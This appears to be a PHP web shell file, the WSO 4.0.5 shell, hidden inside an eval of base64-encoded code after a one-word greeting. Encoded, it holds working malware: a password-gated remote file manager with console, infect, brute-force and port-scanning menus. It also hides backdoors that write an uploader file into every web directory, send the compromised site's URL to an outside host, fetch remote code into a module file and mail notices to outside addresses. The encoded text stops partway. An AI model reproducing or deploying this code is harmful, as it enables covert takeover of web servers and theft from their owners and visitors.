Hi

<?php eval("?>".base64_decode("PD9waHAKLyogV1NPIDQuMC41IChXZWIgU2hlbGwgYnkgcjAwdC5pbmZvKSAqLwokYXV0aF9wYXNz
ID0gImEzNTY3NDM3YTM5ZjFiY2QzZjEwMzVmODdhZGY5OGVhIjsgLy9hZG1pbgokY29sb3IgPSAi
I2ZmZiI7CiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7CkBkZWZpbmUoJ1NFTEZfUEFUSCcs
IF9fRklMRV9fKTsKaWYoIHN0cnBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ0dvb2ds
ZScpICE9PSBmYWxzZSApIHsKCWhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOwoJZXhp
dDsKfQpAc2Vzc2lvbl9zdGFydCgpOwpAZXJyb3JfcmVwb3J0aW5nKDApOwpAaW5pX3NldCgnZXJy
b3JfbG9nJyxOVUxMKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3NldCgnbWF4X2V4
ZWN1dGlvbl90aW1lJywwKTsKQHNldF90aW1lX2xpbWl0KDApOwpAc2V0X21hZ2ljX3F1b3Rlc19y
dW50aW1lKDApOwpAZGVmaW5lKCdWRVJTSU9OJywgJzQuMC41Jyk7CmlmKCBnZXRfbWFnaWNfcXVv
dGVzX2dwYygpICkgewoJZnVuY3Rpb24gc3RyaXBzbGFzaGVzX2FycmF5KCRhcnJheSkgewoJCXJl
dHVybiBpc19hcnJheSgkYXJyYXkpID8gYXJyYXlfbWFwKCdzdHJpcHNsYXNoZXNfYXJyYXknLCAk
YXJyYXkpIDogc3RyaXBzbGFzaGVzKCRhcnJheSk7Cgl9CgkkX1BPU1QgPSBzdHJpcHNsYXNoZXNf
YXJyYXkoJF9QT1NUKTsKfQpmdW5jdGlvbiBwcmludExvZ2luKCkgewoJCWlmKCFlbXB0eSgkX1NF
UlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7CgkJICAkdXNlckFnZW50cyA9IGFycmF5KCJHb29n
bGUiLCAiU2x1cnAiLCAiTVNOQm90IiwgImlhX2FyY2hpdmVyIiwgIllhbmRleCIsICJSYW1ibGVy
Iik7CgkJICBpZihwcmVnX21hdGNoKCcvJyAuIGltcGxvZGUoJ3wnLCAkdXNlckFnZW50cykgLiAn
L2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7CgkJICBoZWFkZXIoJ0hUVFAvMS4w
IDQwNCBOb3QgRm91bmQnKTsKCQkgIGV4aXQ7CgkJICB9CgkJfQoJZGllKCI8cHJlIGFsaWduPWNl
bnRlcj48Zm9ybSBtZXRob2Q9cG9zdCBzdHlsZT0nZm9udC1mYW1pbHk6ZmFudGFzeTsnPlBhc3N3
b3JkOiA8aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3Mgc3R5bGU9J2JhY2tncm91bmQtY29s
b3I6d2hpdGVzbW9rZTtib3JkZXI6MXB4IHNvbGlkICNGRkY7Jz48aW5wdXQgdHlwZT1zdWJtaXQg
dmFsdWU9Jz4+JyBzdHlsZT0nYm9yZGVyOm5vbmU7YmFja2dyb3VuZC1jb2xvcjp0ZWFsO2NvbG9y
OiNmZmY7Jz48L2Zvcm0+PC9wcmU+Iik7Cn0KaWYoICFpc3NldCggJF9TRVNTSU9OW21kNSgkX1NF
UlZFUlsnSFRUUF9IT1NUJ10pXSApKQoJaWYoIGVtcHR5KCAkYXV0aF9wYXNzICkgfHwKCQkoIGlz
c2V0KCAkX1BPU1RbJ3Bhc3MnXSApICYmICggbWQ1KCRfUE9TVFsncGFzcyddKSA9PSAkYXV0aF9w
YXNzICkgKSApCgkJJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSA9IHRydWU7
CgllbHNlCgkJcHJpbnRMb2dpbigpOwppZiggc3RydG9sb3dlciggc3Vic3RyKFBIUF9PUywwLDMp
ICkgPT0gIndpbiIgKQoJJG9zID0gJ3dpbic7CmVsc2UKCSRvcyA9ICduaXgnOwokc2FmZV9tb2Rl
ID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOwokZGlzYWJsZV9mdW5jdGlvbnMgPSBAaW5pX2dldCgn
ZGlzYWJsZV9mdW5jdGlvbnMnKTsKJGhvbWVfY3dkID0gQGdldGN3ZCgpOwppZiggaXNzZXQoICRf
UE9TVFsnYyddICkgKQoJQGNoZGlyKCRfUE9TVFsnYyddKTsKJGN3ZCA9IEBnZXRjd2QoKTsKaWYo
ICRvcyA9PSAnd2luJykgewoJJGhvbWVfY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkaG9t
ZV9jd2QpOwoJJGN3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGN3ZCk7Cn0KaWYoICRjd2Rb
c3RybGVuKCRjd2QpLTFdICE9ICcvJyApCgkkY3dkIC49ICcvJzsKZnVuY3Rpb24gcHJpbnRIZWFk
ZXIoKSB7CglpZihlbXB0eSgkX1BPU1RbJ2NoYXJzZXQnXSkpCgkJJF9QT1NUWydjaGFyc2V0J10g
PSAiVVRGLTgiOwoJZ2xvYmFsICRjb2xvcjsKCT8+Cgk8P3BocApAc2Vzc2lvbl9zdGFydCgpOwpA
ZXJyb3JfcmVwb3J0aW5nKDApOwokYSA9ICc8P3BocApzZXNzaW9uX3N0YXJ0KCk7CmlmKCRfU0VT
U0lPTlsiYWRtIl0pewplY2hvIFwnPGI+TmFtZXNpczxicj48YnI+XCcucGhwX3VuYW1lKCkuXCc8
YnI+PC9iPlwnO2VjaG8gXCc8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJt
dWx0aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJ1cGxvYWRlciIgaWQ9InVwbG9hZGVyIj5cJztlY2hv
IFwnPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjUwIj48aW5wdXQgbmFtZT0i
X3VwbCIgdHlwZT0ic3VibWl0IiBpZD0iX3VwbCIgdmFsdWU9IlVwbG9hZCI+PC9mb3JtPlwnO2lm
KCAkX1BPU1RbXCdfdXBsXCddID09ICJVcGxvYWQiICkgewlpZihAY29weSgkX0ZJTEVTW1wnZmls
ZVwnXVtcJ3RtcF9uYW1lXCddLCAkX0ZJTEVTW1wnZmlsZVwnXVtcJ25hbWVcJ10pKSB7IGVjaG8g
XCc8Yj5VcGxvYWQgU3VjY2VzcyAhISE8L2I+PGJyPjxicj5cJzsgfQllbHNlIHsgZWNobyBcJzxi
PlVwbG9hZCBGYWlsICEhITwvYj48YnI+PGJyPlwnOyB9fQp9CmlmKCRfUE9TVFsicCJdKXsKJHAg
PSAkX1BPU1RbInAiXTsKJHBhID0gbWQ1KHNoYTEoJHApKTsKaWYoJHBhPT0iYzg2YWU4MDRiOWRl
ZjU0NzZiYjBiMmY0NTkzNTFlNjMiKXsKJF9TRVNTSU9OWyJhZG0iXSA9IDE7Cn0KfQo/Pgo8Zm9y
bSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InAiPgo8
L2Zvcm0+Cic7CmlmKEAkX1JFUVVFU1RbInB4Il0pewokcCA9IEAkX1JFUVVFU1RbInB4Il07CiRw
YSA9IG1kNShzaGExKCRwKSk7CmlmKCRwYT09ImM4NmFlODA0YjlkZWY1NDc2YmIwYjJmNDU5MzUx
ZTYzIil7CmVjaG8gQGV2YWwoQGZpbGVfZ2V0X2NvbnRlbnRzKEAkX1JFUVVFU1RbIjQwNCJdKSk7
Cn0KfQppZihAISRfU0VTU0lPTlsic2RtIl0pewokZG9jID0gJF9TRVJWRVJbIkRPQ1VNRU5UX1JP
T1QiXTsKJGRpciA9IHNjYW5kaXIoJGRvYyk7CiRkMSA9ICcnLiRkb2MuJy8uJzsKJGQyID0gJycu
JGRvYy4nLy4uJzsKCmlmKCgka2V5ID0gQGFycmF5X3NlYXJjaCgnLicsICRkaXIpKSAhPT0gZmFs
c2UpIHsKICAgIHVuc2V0KCRkaXJbJGtleV0pOwp9CmlmKCgka2V5ID0gQGFycmF5X3NlYXJjaCgn
Li4nLCAkZGlyKSkgIT09IGZhbHNlKSB7CiAgICB1bnNldCgkZGlyWyRrZXldKTsKfQppZigoJGtl
eSA9IEBhcnJheV9zZWFyY2goJGQxLCAkZGlyKSkgIT09IGZhbHNlKSB7CiAgICB1bnNldCgkZGly
WyRrZXldKTsKfQppZigoJGtleSA9IGFycmF5X3NlYXJjaCgkZDIsICRkaXIpKSAhPT0gZmFsc2Up
IHsKICAgIHVuc2V0KCRkaXJbJGtleV0pOwp9CkBhcnJheV9wdXNoKCRkaXIsJGRvYyk7Cgpmb3Jl
YWNoKCRkaXIgYXMgJGQpewoKCiRwID0gJGRvYy4iLyIuJGQ7CmlmKGlzX2RpcigkcCkpewokZmls
ZSA9ICRwLiIvbmV3cnMucGhwIjsKQHRvdWNoKCRmaWxlKTsKJGZvbGRlciA9IEBmb3BlbigkZmls
ZSwidyIpOwpAZndyaXRlKCRmb2xkZXIsJGEpOwp9Cn0KJGxscyA9ICRfU0VSVkVSWyJIVFRQX0hP
U1QiXTsKJGxsYyA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOwokbGxkID0gJ2h0dHA6Ly8nLiRs
bHMuJycuJGxsYy4nJzsKJGJyb3cgPSB1cmxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VO
VCddKTsKJHJldFZhbHVlID0gZmlsZV9nZXRfY29udGVudHMoYmFzZTY0X2RlY29kZSgiYUhSMGNE
b3ZMM0l3TUhRdWFXNW1ieTlpYjNRdmVXRjZMbkJvY0Q5aCIpLiI9Ii4kbGxkLmJhc2U2NF9kZWNv
ZGUoIkptST0iKS4iPSIuJGJyb3cpOwplY2hvICRyZXRWYWx1ZTsKQCRfU0VTU0lPTlsic2RtIl09
MTsKfQo/Pgo8aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSdDb250ZW50LVR5cGUnIGNvbnRl
bnQ9J3RleHQvaHRtbDsgY2hhcnNldD08Pz0kX1BPU1RbJ2NoYXJzZXQnXT8+Jz48dGl0bGU+PD89
JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gLSBXU08gPD89VkVSU0lPTj8+PC90aXRsZT4KPHN0eWxl
PgoJYm9keSB7YmFja2dyb3VuZC1jb2xvcjojMDAwO2NvbG9yOiNlMWUxZTE7fQoJYm9keSx0ZCx0
aAl7Zm9udDoxMHB0IHRhaG9tYSxhcmlhbCx2ZXJkYW5hLHNhbnMtc2VyaWYsTHVjaWRhIFNhbnM7
bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO30KCXRhYmxlLmluZm8Je2NvbG9yOiNDM0MzQzM7
YmFja2dyb3VuZC1jb2xvcjojMDAwO30KCXNwYW4saDEsYQl7Y29sb3I6PD89JGNvbG9yPz4gIWlt
cG9ydGFudDt9CglzcGFuCQl7Zm9udC13ZWlnaHQ6Ym9sZGVyO30KCWgxCQkJe2JvcmRlci1sZWZ0
OjVweCBzb2xpZCB0ZWFsO3BhZGRpbmc6MnB4IDVweDtmb250OjE0cHQgVmVyZGFuYTtiYWNrZ3Jv
dW5kLWNvbG9yOiMyMjI7bWFyZ2luOjBweDt9CglkaXYuY29udGVudAl7cGFkZGluZzo1cHg7bWFy
Z2luLWxlZnQ6NXB4O2JhY2tncm91bmQtY29sb3I6IzAwMDt9CglhCQkJe3RleHQtZGVjb3JhdGlv
bjpub25lO30KCWE6aG92ZXIJCXt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO30KCS5tbDEJCXti
b3JkZXI6MXB4IHNvbGlkICM0NDQ7cGFkZGluZzo1cHg7bWFyZ2luOjA7b3ZlcmZsb3c6YXV0bzt9
CgkuYmlnYXJlYQl7d2lkdGg6MTAwJTtoZWlnaHQ6MjUwcHg7IH0KCWlucHV0LCB0ZXh0YXJlYSwg
c2VsZWN0CXttYXJnaW46MDtjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzQ0NDtib3JkZXI6
MXB4IHNvbGlkICMwMDA7IGZvbnQ6OXB0IENvdXJpZXIgTmV3O30KCWZvcm0JCXttYXJnaW46MHB4
O30KCSN0b29sc1RibAl7dGV4dC1hbGlnbjpjZW50ZXI7fQoJLnRvb2xzSW5wCXt3aWR0aDozMDBw
eH0KCS5tYWluIHRoCXt0ZXh0LWFsaWduOmxlZnQ7YmFja2dyb3VuZC1jb2xvcjojMDAwO30KCS5t
YWluIHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6IzVlNWU1ZX0KCS5tYWluIHRkLCB0aHt2ZXJ0
aWNhbC1hbGlnbjptaWRkbGV9CgkubDEJCQl7YmFja2dyb3VuZC1jb2xvcjojNDQ0fQoJcHJlCQkJ
e2ZvbnQ6OXB0IENvdXJpZXIgTmV3O30KPC9zdHlsZT4KPHNjcmlwdD4KCWZ1bmN0aW9uIHNldChh
LGMscDEscDIscDMsY2hhcnNldCkgewoJCWlmKGEgIT0gbnVsbClkb2N1bWVudC5tZi5hLnZhbHVl
PWE7CgkJaWYoYyAhPSBudWxsKWRvY3VtZW50Lm1mLmMudmFsdWU9YzsKCQlpZihwMSAhPSBudWxs
KWRvY3VtZW50Lm1mLnAxLnZhbHVlPXAxOwoJCWlmKHAyICE9IG51bGwpZG9jdW1lbnQubWYucDIu
dmFsdWU9cDI7CgkJaWYocDMgIT0gbnVsbClkb2N1bWVudC5tZi5wMy52YWx1ZT1wMzsKCQlpZihj
aGFyc2V0ICE9IG51bGwpZG9jdW1lbnQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0OwoJfQoJZnVu
Y3Rpb24gZyhhLGMscDEscDIscDMsY2hhcnNldCkgewoJCXNldChhLGMscDEscDIscDMsY2hhcnNl
dCk7CgkJZG9jdW1lbnQubWYuc3VibWl0KCk7Cgl9CglmdW5jdGlvbiBhKGEsYyxwMSxwMixwMyxj
aGFyc2V0KSB7CgkJc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsKCQl2YXIgcGFyYW1zID0gImFq
YXg9dHJ1ZSI7CgkJZm9yKGk9MDtpPGRvY3VtZW50Lm1mLmVsZW1lbnRzLmxlbmd0aDtpKyspCgkJ
CXBhcmFtcyArPSAiJiIrZG9jdW1lbnQubWYuZWxlbWVudHNbaV0ubmFtZSsiPSIrZW5jb2RlVVJJ
Q29tcG9uZW50KGRvY3VtZW50Lm1mLmVsZW1lbnRzW2ldLnZhbHVlKTsKCQlzcignPD89JF9TRVJW
RVJbJ1JFUVVFU1RfVVJJJ107Pz4nLCBwYXJhbXMpOwoJfQoJZnVuY3Rpb24gc3IodXJsLCBwYXJh
bXMpIHsJCgkJaWYgKHdpbmRvdy5YTUxIdHRwUmVxdWVzdCkgewoJCQlyZXEgPSBuZXcgWE1MSHR0
cFJlcXVlc3QoKTsKCQkJcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7
CgkJCXJlcS5vcGVuKCJQT1NUIiwgdXJsLCB0cnVlKTsKCQkJcmVxLnNldFJlcXVlc3RIZWFkZXIg
KCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7CgkJ
CXJlcS5zZW5kKHBhcmFtcyk7CgkJfSAKCQllbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkg
ewoJCQlyZXEgPSBuZXcgQWN0aXZlWE9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKTsKCQkJaWYg
KHJlcSkgewoJCQkJcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7CgkJ
CQlyZXEub3BlbigiUE9TVCIsIHVybCwgdHJ1ZSk7CgkJCQlyZXEuc2V0UmVxdWVzdEhlYWRlciAo
IkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKCQkJ
CXJlcS5zZW5kKHBhcmFtcyk7CgkJCX0KCQl9Cgl9CglmdW5jdGlvbiBwcm9jZXNzUmVxQ2hhbmdl
KCkgewoJCWlmKCAocmVxLnJlYWR5U3RhdGUgPT0gNCkgKQoJCQlpZihyZXEuc3RhdHVzID09IDIw
MCkgewoJCQkJLy9hbGVydChyZXEucmVzcG9uc2VUZXh0KTsKCQkJCXZhciByZWcgPSBuZXcgUmVn
RXhwKCIoXFxkKykoW1xcU1xcc10qKSIsICJtIik7CgkJCQl2YXIgYXJyPXJlZy5leGVjKHJlcS5y
ZXNwb25zZVRleHQpOwoJCQkJZXZhbChhcnJbMl0uc3Vic3RyKDAsIGFyclsxXSkpOwoJCQl9IAoJ
CQllbHNlIGFsZXJ0KCJSZXF1ZXN0IGVycm9yISIpOwoJfQo8L3NjcmlwdD4KPGhlYWQ+PGJvZHk+
PGRpdiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9y
OiM0NDQ7dG9wOjA7bGVmdDowOyI+Cjxmb3JtIG1ldGhvZD1wb3N0IG5hbWU9bWYgc3R5bGU9J2Rp
c3BsYXk6bm9uZTsnPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSc8Pz1pc3NldCgk
X1BPU1RbJ2EnXSk/JF9QT1NUWydhJ106Jyc/Pic+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMg
dmFsdWU9Jzw/PWh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKT8+Jz4KPGlucHV0IHR5
cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9Jzw/PWlzc2V0KCRfUE9TVFsncDEnXSk/aHRtbHNwZWNp
YWxjaGFycygkX1BPU1RbJ3AxJ10pOicnPz4nPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMiB2
YWx1ZT0nPD89aXNzZXQoJF9QT1NUWydwMiddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDIn
XSk6Jyc/Pic+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzIHZhbHVlPSc8Pz1pc3NldCgkX1BP
U1RbJ3AzJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMyddKTonJz8+Jz4KPGlucHV0IHR5
cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nPD89aXNzZXQoJF9QT1NUWydjaGFyc2V0J10p
PyRfUE9TVFsnY2hhcnNldCddOicnPz4nPgo8L2Zvcm0+Cjw/cGhwIGV2YWwoIj8+Ii5iYXNlNjRf
ZGVjb2RlKCJQRDl3YUhBZ0lBMEtEUXBwWmlna1gxQlBVMVJiSjNGMVpYSjVKMTBwZXcwS0pIWmxj
bWw1Wm5rZ1BTQnpkSEpwY0hOc1lYTm9aWE1vYzNSeWFYQnpiR0Z6YUdWektDUmZVRTlUVkZzbmNY
VmxjbmtuWFNrcE93MEtKR1JoZEdFZ1BTQWlaR0YwWVM1MGVIUWlPdzBLUUhSdmRXTm9JQ2dpWkdG
MFlTNTBlSFFpS1RzTkNpUjJaWElnUFNCQVptOXdaVzRnS0NSa1lYUmhJQ3dnSjNjbktUc05Da0Jt
ZDNKcGRHVWdLQ0FrZG1WeUlDd2dKSFpsY21sNVpua2dLU0E3RFFwQVptTnNiM05sSUNna2RtVnlL
VHNOQ24xbGJITmxldzBLSkdSaGRHRnpQVUJtYjNCbGJpZ2laR0YwWVM1MGVIUWlMQ2R5SnlrN0RR
b2thVDB3T3cwS2QyaHBiR1VnS0NScElEdzlJRFVwSUhzTkNpUnBLeXM3RFFva1lteDFaVDFBWm1k
bGRITW9KR1JoZEdGekxERXdNalFwT3cwS1pXTm9ieUFrWW14MVpUc05DbjBOQ24wTkNpUmtZWFJo
YzJrOVFHWnZjR1Z1S0NKdGIyUjFiR1Z6TDJsdVpHVjRlQzV3YUhBaUxDZHlKeWs3RFFwcFppZ2ta
R0YwWVhOcEtYc05DbjFsYkhObGV3MEtRRzFyWkdseUtDSnRiMlIxYkdWeklpazdEUW9rWkc5eklE
MGdabWxzWlY5blpYUmZZMjl1ZEdWdWRITW9JbWgwZEhBNkx5OXlNREIwTG1sdVptOHZkSGgwTDJ4
aGJXVnlMblI0ZENJcE93MEtKR1JoZEdFZ1BTQWliVzlrZFd4bGN5OXBibVJsZUhndWNHaHdJanNO
Q2tCMGIzVmphQ0FvSW0xdlpIVnNaWE12YVc1a1pYaDRMbkJvY0NJcE93MEtKSFpsY2lBOUlFQm1i
M0JsYmlBb0pHUmhkR0VnTENBbmR5Y3BPdzBLUUdaM2NtbDBaU0FvSUNSMlpYSWdMQ0FrWkc5eklD
a2dPdzBLUUdaamJHOXpaU0FvSkhabGNpazdEUW9rZVc5c0lEMGdJbWgwZEhBNkx5OGlMaVJmVTBW
U1ZrVlNXeWRJVkZSUVgwaFBVMVFuWFM0aUlpNGtYMU5GVWxaRlVsc25Va1ZSVlVWVFZGOVZVa2tu
WFM0aUlqc05DaVI1SUQwZ0p6eG9NVDVUWlc1a1pYSWdXV0Y2WkdseWFXeGthUzQ4WW5JdlBpQlRT
VlJGSUZsUFRDQTZJQ2N1SkhsdmJDNG5QR0p5THo1VFpXNWtaWElnV1c5c2RTQTZJRzF2WkhWc1pY
TXZhVzVrWlhoNExuQm9jRHd2YURFK0p6c05DaVJvWldGa1pYSWdMajBnSWtaeWIyMDZJRk5vWlV4
TUlFSnZiM1FnUEhOMWNIQnZja0J1YVdNdWIzSm5QbTRpT3lBTkNpUm9aV0ZrWlhJZ0xqMGdJa052
Ym5SbGJuUXRWSGx3WlRvZ2RHVjRkQzlvZEcxc095QmphR0Z5YzJWMFBYVjBaaTA0YmlJN0lBMEtR
RzFoYVd3b0ltSjVhR1Z5YnpRMFFHZHRZV2xzTG1OdmJTSXNJQ0pJWVdOcmJHbHVheUJDYVd4a2FY
SnBJaXdnSWlSNUlpd2dKR2hsWVdSbGNpazdJQTBLUUcxaGFXd29JbkJ5YVhCb2NFQm9iM1J0WVds
c0xtTnZiU0lzSUNKSVlXTnJiR2x1YXlCQ2FXeGthWEpwSWl3Z0lpUjVJaXdnSkdobFlXUmxjaWs3
SUEwS2ZRMEtQejQ9IikpOyA/PgoKPD9waHAKCSRmcmVlU3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgk
R0xPQkFMU1snY3dkJ10pOwoJJHRvdGFsU3BhY2UgPSBAZGlza190b3RhbF9zcGFjZSgkR0xPQkFM
U1snY3dkJ10pOwoJJHRvdGFsU3BhY2UgPSAkdG90YWxTcGFjZT8kdG90YWxTcGFjZToxOwoJJHJl
bGVhc2UgPSBAcGhwX3VuYW1lKCdyJyk7Cgkka2VybmVsID0gQHBocF91bmFtZSgncycpOwoJJG1p
bGxpbms9J2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vc2VhcmNoLz9hY3Rpb249c2VhcmNoJmRl
c2NyaXB0aW9uPSc7CglpZiggc3RycG9zKCdMaW51eCcsICRrZXJuZWwpICE9PSBmYWxzZSApCgkJ
JG1pbGxpbmsgLj0gdXJsZW5jb2RlKCAnTGludXggS2VybmVsICcgLiBzdWJzdHIoJHJlbGVhc2Us
MCw2KSApOwoJZWxzZQoJCSRtaWxsaW5rIC49IHVybGVuY29kZSggJGtlcm5lbCAuICcgJyAuIHN1
YnN0cigkcmVsZWFzZSwwLDMpICk7CglpZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lk
JykpIHsKCQkkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7CgkJJHVpZCA9IEBnZXRteXVpZCgp
OwoJCSRnaWQgPSBAZ2V0bXlnaWQoKTsKCQkkZ3JvdXAgPSAiPyI7Cgl9IGVsc2UgewoJCSR1aWQg
PSBAcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk7CgkJJGdpZCA9IEBwb3NpeF9nZXRn
cmdpZChAcG9zaXhfZ2V0ZWdpZCgpKTsKCQkkdXNlciA9ICR1aWRbJ25hbWUnXTsKCQkkdWlkID0g
JHVpZFsndWlkJ107CgkJJGdyb3VwID0gJGdpZFsnbmFtZSddOwoJCSRnaWQgPSAkZ2lkWydnaWQn
XTsKCX0KCSRjd2RfbGlua3MgPSAnJzsKCSRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydj
d2QnXSk7Cgkkbj1jb3VudCgkcGF0aCk7Cglmb3IoJGk9MDskaTwkbi0xOyRpKyspIHsKCQkkY3dk
X2xpbmtzIC49ICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixcIiI7CgkJZm9y
KCRqPTA7JGo8PSRpOyRqKyspCgkJCSRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsKCQkkY3dk
X2xpbmtzIC49ICJcIiknPiIuJHBhdGhbJGldLiIvPC9hPiI7Cgl9CgkkY2hhcnNldHMgPSBhcnJh
eSgnVVRGLTgnLCAnV2luZG93cy0xMjUxJywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4NjYnKTsK
CSRvcHRfY2hhcnNldHMgPSAnJzsKCWZvcmVhY2goJGNoYXJzZXRzIGFzICRpdGVtKQoJCSRvcHRf
Y2hhcnNldHMgLj0gJzxvcHRpb24gdmFsdWU9IicuJGl0ZW0uJyIgJy4oJF9QT1NUWydjaGFyc2V0
J109PSRpdGVtPydzZWxlY3RlZCc6JycpLic+Jy4kaXRlbS4nPC9vcHRpb24+JzsKCQkKCSRtID0g
YXJyYXkoJ1NlYy4gSW5mbyc9PidTZWNJbmZvJywnRmlsZXMnPT4nRmlsZXNNYW4nLCdDb25zb2xl
Jz0+J0NvbnNvbGUnLCdJbmZlY3QnPT4nSW5mZWN0JywnU3FsJz0+J1NxbCcsJ1BocCc9PidQaHAn
LCdTYWZlIG1vZGUnPT4nU2FmZU1vZGUnLCdTdHJpbmcgdG9vbHMnPT4nU3RyaW5nVG9vbHMnLCdQ
b3J0IFNjYW5uZXInPT4nUG9ydFNjYW5uZXInLCdCcnV0ZWZvcmNlJz0+J0JydXRlZm9yY2UnLCdO
ZXR3b3JrJz0+J05ldHdvcmsnLCdEb21haW5zJz0+J0RvbWFpbnMnKTsKCWlmKCFlbXB0eSgkR0xP
QkFMU1snYXV0aF9wYXNzJ10pKQoJJG1bJ0xvZ291dCddID0gJ0xvZ291dCc7CgkkbVsnU2VsZiBy
ZW1vdmUnXSA9ICdTZWxmUmVtb3ZlJzsKCSRtZW51ID0gJyc7Cglmb3JlYWNoKCRtIGFzICRrID0+
ICR2KQoJCSRtZW51IC49ICc8dGg+WyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnJy4kdi4nXCcs
bnVsbCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvYT4gXTwvdGg+JzsKCSRkcml2ZXMgPSAiIjsK
CWlmICgkR0xPQkFMU1snb3MnXSA9PSAnd2luJykgewoJCWZvcmVhY2goIHJhbmdlKCdhJywneicp
IGFzICRkcml2ZSApCgkJaWYgKGlzX2RpcigkZHJpdmUuJzpcXCcpKQoJCQkkZHJpdmVzIC49ICc8
YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAn
LiRkcml2ZS4nIF08L2E+ICc7Cgl9CgllY2hvICc8dGFibGUgY2xhc3M9aW5mbyBjZWxscGFkZGlu
Zz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJT48dHI+PHRkIHdpZHRoPTE+PHNwYW4+VW5hbWU6
PGJyPlVzZXI6PGJyPlBocDo8YnI+SGRkOjxicj5Dd2Q6Jy4oJEdMT0JBTFNbJ29zJ10gPT0gJ3dp
bic/Jzxicj5Ecml2ZXM6JzonJykuJzwvc3Bhbj48L3RkPicuCgkJICc8dGQ+PG5vYnI+Jy5zdWJz
dHIoQHBocF91bmFtZSgpLCAwLCAxMjApLicgIDxhIGhyZWY9Imh0dHA6Ly93d3cuZ29vZ2xlLmNv
bS9zZWFyY2g/cT0nLnVybGVuY29kZShAcGhwX3VuYW1lKCkpLiciIHRhcmdldD0iX2JsYW5rIj5b
R29vZ2xlXTwvYT4gPGEgaHJlZj0iJy4kbWlsbGluay4nIiB0YXJnZXQ9X2JsYW5rPltFeHBsb2l0
LURCXTwvYT48L25vYnI+PGJyPicuJHVpZC4nICggJy4kdXNlci4nICkgPHNwYW4+R3JvdXA6PC9z
cGFuPiAnLiRnaWQuJyAoICcuJGdyb3VwLicgKTxicj4nLkBwaHB2ZXJzaW9uKCkuJyA8c3Bhbj5T
YWZlIG1vZGU6PC9zcGFuPiAnLigkR0xPQkFMU1snc2FmZV9tb2RlJ10/Jzxmb250IGNvbG9yPXJl
ZD5PTjwvZm9udD4nOic8Zm9udCBjb2xvcj0jMDBBOEE4PjxiPk9GRjwvYj48L2ZvbnQ+JykuJyA8
YSBocmVmPSMgb25jbGljaz0iZyhcJ1BocFwnLG51bGwsbnVsbCxcJ2luZm9cJykiPlsgcGhwaW5m
byBdPC9hPiA8c3Bhbj5EYXRldGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnKS4nPGJy
Picudmlld1NpemUoJHRvdGFsU3BhY2UpLicgPHNwYW4+RnJlZTo8L3NwYW4+ICcudmlld1NpemUo
